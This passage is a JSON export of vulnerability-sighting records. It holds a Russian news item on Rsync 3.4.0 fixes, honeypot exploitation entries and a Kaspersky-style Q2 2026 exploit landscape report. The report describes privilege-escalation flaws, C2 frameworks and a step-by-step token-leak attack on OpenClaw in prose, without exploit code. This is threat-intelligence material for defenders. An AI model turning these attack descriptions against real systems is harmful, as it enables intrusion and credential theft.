\u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0449\u0438\u0445 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0441\u0431\u043e\u0440\u043e\u043a \u0447\u0435\u0440\u0435\u0437 Rsync. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0442\u0430\u043a\u0436\u0435 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0438 \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u043e\u0433\u043e \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0435 Rsync \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0431\u044d\u043a\u0435\u043d\u0434\u0430, \u0442\u0430\u043a\u0438\u0435 \u043a\u0430\u043a BackupPC, DeltaCopy \u0438 ChronoSync.\n. . .\n\u0414\u043b\u044f \u0443\u043f\u0440\u043e\u0449\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 \u0434\u043e \u043d\u043e\u0432\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0438 Rsync \u043d\u043e\u043c\u0435\u0440 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0430 \u0432 \u0432\u044b\u043f\u0443\u0441\u043a\u0435 Rsync 3.4.0 \u043f\u043e\u0432\u044b\u0448\u0435\u043d \u0434\u043e 32.\n. . .\nCVE-2024-12084 - \u0437\u0430\u043f\u0438\u0441\u044c \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u044b \u0432\u044b\u0434\u0435\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0431\u0443\u0444\u0435\u0440\u0430 \u0447\u0435\u0440\u0435\u0437 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0443 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u043c\u043c\u044b, \u0440\u0430\u0437\u043c\u0435\u0440 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043f\u0440\u0435\u0432\u044b\u0448\u0430\u0435\u0442 16 \u0431\u0430\u0439\u0442.\nCVE-2024-12085 - \u0443\u0442\u0435\u0447\u043a\u0430 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0433\u043e \u043d\u0435\u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0438\u0437 \u0441\u0442\u0435\u043a\u0430 (\u043f\u043e \u043e\u0434\u043d\u043e\u043c\u0443 \u0431\u0430\u0439\u0442\u0443 \u0437\u0430 \u0440\u0430\u0437) \u043f\u0440\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u044b\u0445 \u0441\u0443\u043c\u043c \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0433\u043e \u0440\u0430\u0437\u043c\u0435\u0440\u0430.\n\u0412 Rsync 3.4.0 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u044b \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0432\u0448\u0438\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u0434 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u0438 \u043a\u043b\u0438\u0435\u043d\u0442\u0435\nhttps://www.opennet.ru/opennews/art.shtml?num=62557\n\nRsync contains six vulnerabilities\nhttps://kb.cert.org/vuls/id/952657\n\n\u0417\u042b \u0421\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u0442\u0432\u0438\u0442 \u0441\u043e \u0441\u043a\u0440\u0438\u043d\u0430\nhttps://x.com/KirillKorinsky/status/1879265433658020062", "creation_timestamp": "2026-07-29T12:00:04.970964Z"}, {"uuid": "5df6d271-8eeb-4c87-8fae-1f4407b41b3a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12085", "type": "seen", "source": "https://t.me/itpgchannel/2609", "content": "\u041e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d \u0440\u0435\u043b\u0438\u0437 \u0443\u0442\u0438\u043b\u0438\u0442\u044b \u0434\u043b\u044f \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 Rsync 3.4.0, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u043e \u0448\u0435\u0441\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439. \u041a\u043e\u043c\u0431\u0438\u043d\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 CVE-2024-12084 \u0438 CVE-2024-12085 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043a\u043b\u0438\u0435\u043d\u0442\u0443 \u0434\u043e\u0431\u0438\u0442\u044c\u0441\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0441\u0432\u043e\u0435\u0433\u043e \u043a\u043e\u0434\u0430 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435. \u0414\u043b\u044f \u0441\u043e\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u044f \u0430\u0442\u0430\u043a\u0438 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u043e\u0433\u043e \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u043a \u0441\u0435\u0440\u0432\u0435\u0440\u0443 Rsync \u0441 \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u043d\u0430 \u0447\u0442\u0435\u043d\u0438\u0435. \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0430\u0442\u0430\u043a\u0430 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0441\u043e\u0432\u0435\u0440\u0448\u0435\u043d\u0430 \u043d\u0430 \u0437\u0435\u0440\u043a\u0430\u043b\u0430 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u043e\u0432 \u0438 \u043f\u0440\u043e\u0435\u043a\u0442\u043e\u0432, \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0449\u0438\u0445 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0441\u0431\u043e\u0440\u043e\u043a \u0447\u0435\u0440\u0435\u0437 Rsync. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0442\u0430\u043a\u0436\u0435 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0438 \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u043e\u0433\u043e \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0435 Rsync \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0431\u044d\u043a\u0435\u043d\u0434\u0430, \u0442\u0430\u043a\u0438\u0435 \u043a\u0430\u043a BackupPC, DeltaCopy \u0438 ChronoSync.\n. . .\n\u0414\u043b\u044f \u0443\u043f\u0440\u043e\u0449\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 \u0434\u043e \u043d\u043e\u0432\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0438 Rsync \u043d\u043e\u043c\u0435\u0440 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0430 \u0432 \u0432\u044b\u043f\u0443\u0441\u043a\u0435 Rsync 3.4.0 \u043f\u043e\u0432\u044b\u0448\u0435\u043d \u0434\u043e 32.\n. . .\nCVE-2024-12084 - \u0437\u0430\u043f\u0438\u0441\u044c \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u044b \u0432\u044b\u0434\u0435\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0431\u0443\u0444\u0435\u0440\u0430 \u0447\u0435\u0440\u0435\u0437 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0443 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u043c\u043c\u044b, \u0440\u0430\u0437\u043c\u0435\u0440 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043f\u0440\u0435\u0432\u044b\u0448\u0430\u0435\u0442 16 \u0431\u0430\u0439\u0442.\nCVE-2024-12085 - \u0443\u0442\u0435\u0447\u043a\u0430 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0433\u043e \u043d\u0435\u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0438\u0437 \u0441\u0442\u0435\u043a\u0430 (\u043f\u043e \u043e\u0434\u043d\u043e\u043c\u0443 \u0431\u0430\u0439\u0442\u0443 \u0437\u0430 \u0440\u0430\u0437) \u043f\u0440\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u044b\u0445 \u0441\u0443\u043c\u043c \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0433\u043e \u0440\u0430\u0437\u043c\u0435\u0440\u0430.\n\u0412 Rsync 3.4.0 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u044b \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0432\u0448\u0438\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u0434 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u0438 \u043a\u043b\u0438\u0435\u043d\u0442\u0435\nhttps://www.opennet.ru/opennews/art.shtml?num=62557\n\nRsync contains six vulnerabilities\nhttps://kb.cert.org/vuls/id/952657\n\n\u0417\u042b \u0421\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u0442\u0432\u0438\u0442 \u0441\u043e \u0441\u043a\u0440\u0438\u043d\u0430\nhttps://x.com/KirillKorinsky/status/1879265433658020062", "creation_timestamp": "2026-07-29T12:00:05.008061Z"}, {"uuid": "3c8e8a81-d38f-439f-a646-a32e17fefaee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-08-28)", "content": "", "creation_timestamp": "2026-08-29T10:15:05.526570Z"}, {"uuid": "0a73832f-b194-4aee-955b-363fd7738831", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://poliverso.org/objects/0477a01e-66d81917-442e1a3db5444e7f", "content": "Exploits and vulnerabilities in Q2 2026\nThe vulnerability landscape shifted significantly in Q2 2026. First, the number of registered CVEs reached an unprecedented level. This is driven primarily by the widespread adoption of AI, both for application development and search for security flaws. This resulted in entire new classes of vulnerabilities emerging, particularly in the Linux networking subsystem.\nSecond, security researchers have been publishing exploits for unpatched vulnerabilities more frequently. Publications like these can generate significant fallout, since they potentially open the door for attackers to target unprotected systems.\nStatistics on registered vulnerabilities\nThis section provides statistical data on registered vulnerabilities. The data comes from Kaspersky\u2019s vulnerability knowledge base, which draws on the CVE database as well as the Russian BDU database and GitHub Advisory (GHSA). As a result, the figures for previous reporting periods may differ from those published in earlier reports.\nWe examine the number of registered vulnerabilities for each month over the last five years. As the chart below shows, this number continues to surge, a trend reflected across all the databases we track. It\u2019s driven primarily by the widespread adoption of AI tools: as we predicted in our previous report, these tools have played a major role in the discovery of vulnerabilities in third-party software. Meanwhile, these tools often contain security issues of their own. For example, OpenClaw, a popular AI project, ranked 12th among those with the highest number of vulnerabilities discovered and published in Q2, with over 200 CVEs registered during the reporting period. Finally, AI development tools are also contributing to the vulnerability landscape, since the quality of the code they produce can vary widely. Therefore, the rate at which new vulnerabilities are discovered will inevitably keep growing.\nTotal published vulnerabilities per month from 2022 through 2026 (download)\nNext, we analyze the number of new critical vulnerabilities (CVSS > 9.0) over the same period.\nTotal critical vulnerabilities published per month from 2022 through 2026 (download)\nAs the chart shows, the number of published critical vulnerabilities jumped sharply in Q2. This is because using AI for vulnerability research makes it possible to analyze massive amounts of previously unexamined code, uncover new attack surfaces, and identify entire classes of vulnerabilities that have gone unnoticed for decades. In particular, AI was used to find a series of Dirty Frag vulnerabilities in the Linux kernel.\nExploitation statistics\nThis section presents statistics on vulnerability exploitation for Q2 2026. The data draws on open sources and our telemetry.\nWindows and Linux vulnerability exploitation\nQ2 2026 saw a new precedent in the publication of vulnerabilities in Windows components and exploits for these: researchers no longer waiting for CVE registration, let alone patches. A case in point: a researcher who goes by Nightmare Eclipse (also known as Chaotic Eclipse) published a list of new \u201cnamed\u201d vulnerabilities across various Windows subsystems. At the time the technical details were published, none of the vulnerabilities had been assigned a CVE identifier:\n\nBlueHammer: a local privilege escalation vulnerability in Windows Defender. During signature database updates, a time-of-check to time-of-use (TOCTOU) race condition occurs, allowing an attacker to substitute the directory where temporary update files are written. The researcher published a fully functional exploit for the vulnerability.\nRedSun: another logical vulnerability in Windows Defender with a working exploit. Suspicious and malicious files marked as \u201ccloud\u201d can be overwritten or restored to their original directory with elevated privileges. The exploit incorporates fragments of algorithms that make it possible to leverage various logical vulnerabilities in Windows, effectively combining a large number of popular exploitation techniques.\nYellowKey: a vulnerability that lets the user bypass BitLocker full-disk encryption and access system data through the Windows Recovery Environment (WinRE). A fully functional exploit was also published.\nGreenPlasma: a vulnerability that enables system object injection via the CTF loader for the Collaborative Translation Framework (CTFMON) service in Windows. The original publication included an exploit with limited functionality.\nRougePlanet: yet another Windows Defender vulnerability that, like BlueHammer, stems from a TOCTOU issue, this time in the engine responsible for real-time system scanning. The published exploit uses the vulnerability to overwrite the system file wermgr.exe with a malicious one.\nUnDefend: another vulnerability in the Windows Defender service. This time, the exploit causes a denial of service and blocks updates.\nEven though such cases remain isolated for now, we believe they\u2019ll grow into a full-fledged trend. Early publication of exploits gives attackers an advantage over software developers, who are left with no time to fix the issues.\nVeteran vulnerabilities in Windows software also remain relevant. These are the ones our solutions most frequently detect exploits for:\n\nCVE-2018-0802: a remote code execution (RCE) vulnerability in the Equation Editor component\nCVE-2017-11882: another RCE vulnerability also affecting Equation Editor\nCVE-2017-0199: a vulnerability in Microsoft Office and WordPad that allows an attacker to gain control over the system\nCVE-2023-38831: a vulnerability in WinRAR that involves improper handling of objects within an archive\nCVE-2025-6218 (formerly ZDI-CAN-27198): another WinRAR vulnerability allowing the specification of relative paths to extract files into arbitrary directories, potentially leading to malicious command execution\nCVE-2025-8088: a vulnerability similar in exploitation method to CVE-2025-6218. The attackers used NTFS Streams to circumvent controls on the directory into which files are being unpacked\nThe vulnerabilities listed here can be leveraged to gain initial access to a vulnerable system and for privilege escalation. This underscores the critical importance of timely software updates.\nThat said, the number of Windows users who encountered exploits declined slightly in Q2, hitting an 18-month low.\nDynamics of the number of Windows users encountering exploits, Q1 2025 \u2013 Q2 2026. The number of users who encountered exploits in Q1 2025 is taken as 100% (download)\nLinux also hit a rough patch in Q2 2026. Specifically, the period saw the disclosure of the Dirty Frag family of vulnerabilities, which lets an attacker reliably escalate privileges within the operating system.\nAll the vulnerabilities published in Q2 2026 were, in one way or another, related to the Linux caching subsystem. Here are the ones being most actively exploited:\n\nCVE-2026-31431 (Copy Fail): a local privilege escalation vulnerability in the Linux kernel that lets an unprivileged user modify the page cache and gain root privileges. Especially dangerous for cloud and containerized environments\nCVE-2026-43284, CVE-2026-43500 (Dirty Frag): a family of vulnerabilities in the Linux networking subsystem (IPsec ESP and RxRPC) that lets a local user overwrite the page cache and escalate privileges to root\nCVE-2026-46300 (Fragnesia): a local privilege escalation vulnerability in the Linux kernel related to packet fragment handling and the page cache mechanism. It lets an unprivileged user gain root privileges and is also classified as part of the Dirty Frag family\nCVE-2026-31635 (DirtyDecrypt): a Linux kernel vulnerability that lets a local attacker escalate privileges due to improper handling of decryption operations and page cache data modification\nCVE-2026-43494 (PinTheft): a Linux kernel vulnerability that lets a local user gain elevated privileges due to errors in the memory page pinning mechanism\nCVE-2026-46331 (pedit COW): a vulnerability in the Linux kernel\u2019s traffic control subsystem (tc-pedit) that exploits a flaw in copy-on-write to modify the page cache and subsequently escalate privileges to root\nThe vulnerabilities described above were quickly embraced by attackers. At the same time, our solutions continue to detect exploitation attempts targeting older vulnerabilities as well:\n\nCVE-2022-0847: a vulnerability known as Dirty Pipe, which enables privilege escalation and the hijacking of running applications\nCVE-2019-13272: a vulnerability caused by improper handling of privilege inheritance, which can be exploited to achieve privilege escalation\nCVE-2021-22555: a heap out-of-bounds write vulnerability in the Netfilter kernel subsystem\nCVE-2023-32233: another Netfilter subsystem vulnerability that allows for Use-After-Free conditions and privilege escalation through improper processing of network requests\nDynamics of the number of Linux users encountering exploits, Q1 2025 \u2013 Q2 2026. The number of users who encountered exploits in Q1 2025 is taken as 100% (download)\nIn Q2 2026, the number of Linux users who encountered exploits declined slightly compared to Q1. Given that a significant share of new vulnerabilities are tied to the operating system\u2019s caching subsystem, we recommend installing patches as quickly as possible, or disabling vulnerable kernel modules if patching isn\u2019t an option.\nMost common published exploits\nThe distribution of published exploits by software type in Q2 2026 includes categories that haven\u2019t appeared in the sample for a long time. For instance, we\u2019re once again seeing exploits targeting SharePoint. It\u2019s worth noting that while several vulnerability write-ups for Exchange and SharePoint were published during the quarter, most turned out to be fake, AI-generated research. While the articles and exploit source code themselves look fairly polished, they describe nonexistent problems in the software or its components \u2014 often close to genuinely vulnerable mechanisms \u2014 in order to mislead researchers. This type of attack is aimed at increasing the time it takes to detect real vulnerabilities. In some cases, the description of a nonexistent vulnerability came bundled with completely unrelated malware.\nDistribution of published exploits by platform, Q1 2026 (download)\nDistribution of published exploits by platform, Q2 2026 (download)\nVulnerability exploitation in APT attacks\nWe analyzed which vulnerabilities were exploited in APT attacks during Q2 2026. The rankings provided below include data based on our telemetry, research, and open sources.\nTOP 10 vulnerabilities exploited in APT attacks, Q2 2026 (download)\nIn Q2 2026, a trend emerged in APT attacks toward exploiting new vulnerabilities right from the moment they\u2019re published. As before, we\u2019re also seeing a large number of zero-day vulnerabilities. The Langflow vulnerability deserves particular attention: it\u2019s one of the first cases of an APT group exploiting AI technology, which many organizations are only just beginning to integrate. Because most of this tech is proprietary, it has a considerable number of security blind spots. Therefore, given the growing number of AI-based automation tools, we strongly recommend going beyond the usual patching and developing secure procedures for credential use and sensitive data handling in systems that rely on agents and LLMs.\nC2 frameworks\nIn this section, we examine the most popular C2 frameworks used by APT groups and analyze the vulnerabilities targeted by the exploits that interacted with C2 agents in APT attacks.\nThe chart below shows the frequency of known C2 framework usage in attacks during Q2 2026, according to open sources.\nTOP 10 C2 frameworks used by APTs to compromise user systems, Q2 2026 (download)\nSliver, Havoc, AdaptixC2, and Metasploit remain the most widely used C2 frameworks. After studying open sources and analyzing samples of malicious C2 agents that contained exploits, we determined that the following vulnerabilities were utilized in APT attacks involving the C2 frameworks mentioned above:\n\nCVE-2026-35273: a vulnerability in Oracle PeopleSoft PeopleTools that security vendors classify as server-side request forgery (SSRF). The details of the vulnerability have never been disclosed, although some research covers the post-exploitation steps\nCVE-2023-46604: an insecure deserialization vulnerability in Apache ActiveMQ that allows arbitrary code execution in the context of the service process\nCVE-2024-12356 and CVE-2026-1731: command injection vulnerabilities in BeyondTrust software that allow an attacker to send malicious commands even without system authentication\nCVE-2023-36884: a vulnerability in the Windows Search component that allows commands to be run on the system, bypassing the mark-of-the-web (MoTW) mechanism\nCVE-2025-53770: an insecure deserialization vulnerability in Microsoft SharePoint that allows for unauthenticated command execution on the server\nCVE-2025-8088 and CVE-2025-6218: similar directory traversal vulnerabilities in WinRAR that allow files to be extracted from an archive to a predetermined path, potentially without the archiving utility displaying any alerts to the user\nThese vulnerabilities show that attackers used them for initial access and privilege escalation on vulnerable systems, setting the stage for launching a C2 agent. They include both zero-day vulnerabilities and fairly well-known security issues.\nLLM/AI tool vulnerabilities\nThis section analyzes data published in Kaspersky\u2019s vulnerability knowledge base. We reviewed the Q2 2026 version of the knowledge base.\nAs mentioned above, AI tools, plugins, and technologies have proven fairly effective at automating the search for problematic code and anomalous behavior. The high speed at which new vulnerabilities are being discovered has naturally created a need to fix them just as quickly. AI is often used for this too, which increases the volume of code being generated. However, neither code written without human involvement nor AI-generated advice is always correct.\nThe chart below covers registered vulnerabilities in AI tools for 2025\u20132026.\nNumber of published vulnerabilities in LLMs, AI tools, and plugins with similar functionality, 2025\u20132026 (download)\nAs the charts show, AI tools are racking up a substantial number of registered vulnerabilities, and that number keeps growing quarter over quarter. It\u2019s also worth looking at how AI tool vulnerabilities break down by type, according to the CWE system:\nTOP 6 vulnerability types in products that implement or use AI/LLM logic, 2025\u20132026\nInterestingly, vulnerabilities of an undetermined type have ranked first in every quarter since the start of 2025. Traditionally-made software has the same issue, and it doesn\u2019t look like the growing number of AI tools will fix it. It\u2019s also notable that the list includes classes CWE developers themselves don\u2019t recommend using for vulnerability classification, since they lump together a whole range of more specific types. CWE-284 is an example of this.\nLooking at the most common classes, the key issues found in AI-related software can be summed up as follows:\n\nInadequate access control over critical system objects\nImproper implementation of authentication and authorization mechanisms\nInjections\nIt\u2019s worth noting that injection-related vulnerabilities were relatively rare before AI agents took off (previously, they mostly affected web apps). Recently, though, these security issues have become relevant again.\nLooking back at a year and a half of the AI boom, one conclusion stands out regarding registered vulnerabilities: AI tool developers are more focused on expanding functionality than on security. This is worth keeping in mind when using these tools. Let\u2019s look at the projects and applications that either integrated AI tools or offered them as the core product. Below is a list of the those with the highest number of registered vulnerabilities for 2025\u20132026.\nTOP AI/LLM-related projects by number of published vulnerabilities, 2025\u20132026 (download)\nNotable vulnerabilities\nThis section highlights the most significant vulnerabilities published in Q2 2026 that have publicly available descriptions. Since the above already covers several significant vulnerabilities published during the reporting period, this section consists mainly of LLM/AI tool vulnerabilities.\nCVE-2026-25253: a gatewayUrl vulnerability in OpenClaw\nThe issue stems from the fact that the OpenClaw user interface trusts the value of the gatewayUrl parameter passed in the URL and automatically establishes a WebSocket connection to the specified address. During this connection process, it sends an authentication token without any additional user confirmation.\nThe attack algorithm exploiting this vulnerability works as follows:\n\nThe application obtains a critical connection address from an external source (the gatewayUrl URL parameter), which is controlled by the attacker.\nThere is no validation before use.\nThe client automatically initiates a connection to the address specified in the parameter, which belongs to the attacker.\nWhile connected, the application sends credentials (an access token) to the specified address.\nIf the attacker obtains a valid token, the consequences depend on that token\u2019s level of access within the system. In general, this could lead to:\n\nUser session compromise\nExecution of operations on the user\u2019s behalf\nModification of the AI agent configuration\nUnauthorized access to tools and resources connected to the agent\nUnder certain OpenClaw configurations, further compromise of the host running the agent\nIt\u2019s worth noting that the risk of exploitation arises from a combination of several factors: the automatic connection and token transmission, the lack of address trust verification, and the high privileges granted to the local AI agent.\nCVE-2026-41948: a path traversal vulnerability in the Dify AI platform\nThe vulnerability lets an authenticated user craft a request that enables the application to escape its permitted tenant and gain access to internal REST APIs that weren\u2019t meant for that user. The root cause is insufficient normalization and validation of the URL path before it\u2019s passed to the internal service.\nDepending on the Dify configuration, the consequences can include:\n\nUnauthorized access to internal service interfaces\nBreach of isolation between workspaces\nExposure of internal service information\nConditions favorable to further attacks when combined with other vulnerabilities\nThe use of Dify in enterprise AI platforms is particularly risky, since internal services there tend to hold elevated privileges.\nCVE-2026-45386: an improper access control vulnerability in Open WebUI\nIn Open WebUI, pin/unpin operations on messages are write operations, since they modify that message\u2019s metadata (is_pinned, pinned_by, pinned_at). In vulnerable versions, however, before performing these actions, the API only checked for read access to the channel (a chat between a user or group and the AI) containing the message, not permission to modify its content. As a result, a user with a role limited to viewing messages could still change a message\u2019s pinned status.\nThe vulnerability\u2019s mechanism works as follows:\n\nThe user initiates an action that changes the state of an object.\nThe application treats this action as a regular read request.\nOnly channel view permission is checked.\nThe application performs a write without verifying the required user authorization.\nThis violates one of the fundamental principles of access control models \u2014 namely, that any operation that changes the state of data must be checked for the appropriate write or moderation permissions, regardless of whether the object itself is readable.\nAlthough the vulnerability doesn\u2019t lead to arbitrary code execution or compromise of sensitive data, it can affect data integrity and collaborative workflows. Potential consequences of exploitation include unauthorized pinning or unpinning of messages, disruption of channel moderators\u2019 and administrators\u2019 activities, changes to the display order of important information, and even the potential spread of false or misleading information by altering the channel containing a pinned message.\nOpen WebUI is widely used as an interface for interacting with local and enterprise LLMs. In these systems, pinned messages often contain important instructions, announcements, or tips for users. The ability to modify them with minimal privileges can disrupt collaborative workflows, cause confusion, and undermine trust in information published by administrators and moderators.\nCVE-2026-45501: a vulnerability in Microsoft Exchange\nThe vulnerability stems from improper neutralization of user input when generating Exchange web pages. As a result, the browser may interpret specially crafted data as active content instead of plain text.\nAlthough Microsoft categorizes the potential impact of exploiting this vulnerability as spoofing, flaws like this can lead to alteration of displayed content, imitation of trusted interfaces, actions on behalf of the user within an active session, and abuse of user trust.\nIt\u2019s worth noting that issues like this are still relevant in modern software, given that mechanisms like Content Security Policy and various parsers were specifically created to help developers neutralize dangerous parts of user page content.\nConclusion and advice\nQ2 brought the first significant results of AI automation adoption in software development and vulnerability hunting tools. This research shows that beyond traditional patch management, organizations now need real-time monitoring of systems and access controls, since infrastructure and everyday applications now contain far more AI functionality that could lead to compromise.\nAccordingly, besides quickly detecting infrastructure vulnerabilities and managing security patches, modern enterprise-grade security solutions need to provide a broad range of preventive measures for tracking the overall health of systems and workstations. Kaspersky Next meets these requirements by combining proactive mechanisms with the ability to respond promptly to emerging threats. \nsecurelist.com/vulnerabilities\u2026", "creation_timestamp": "2026-08-26T10:30:36.533935Z"}, {"uuid": "0f54f951-912e-49f1-a4b1-bdee890a0675", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12718", "type": "seen", "source": "https://t.me/reverseame/5332", "content": "CVE-2024-12718: Path Escape via Python\u2019s tarfile Extraction Filters #JavaScript #Cookies #Enable #WebsiteAccess #BrowserSettings https://www.upwind.io/feed/cve-2024-12718-path-escape-via-pythons-tarfile-extraction-filters", "creation_timestamp": "2026-07-29T12:02:02.251456Z"}, {"uuid": "91707d77-849e-4268-8503-1253b4369e9f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-08-27)", "content": "", "creation_timestamp": "2026-08-28T10:00:03.625525Z"}, {"uuid": "c5bb3071-024b-407f-8211-abdd946348bc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": 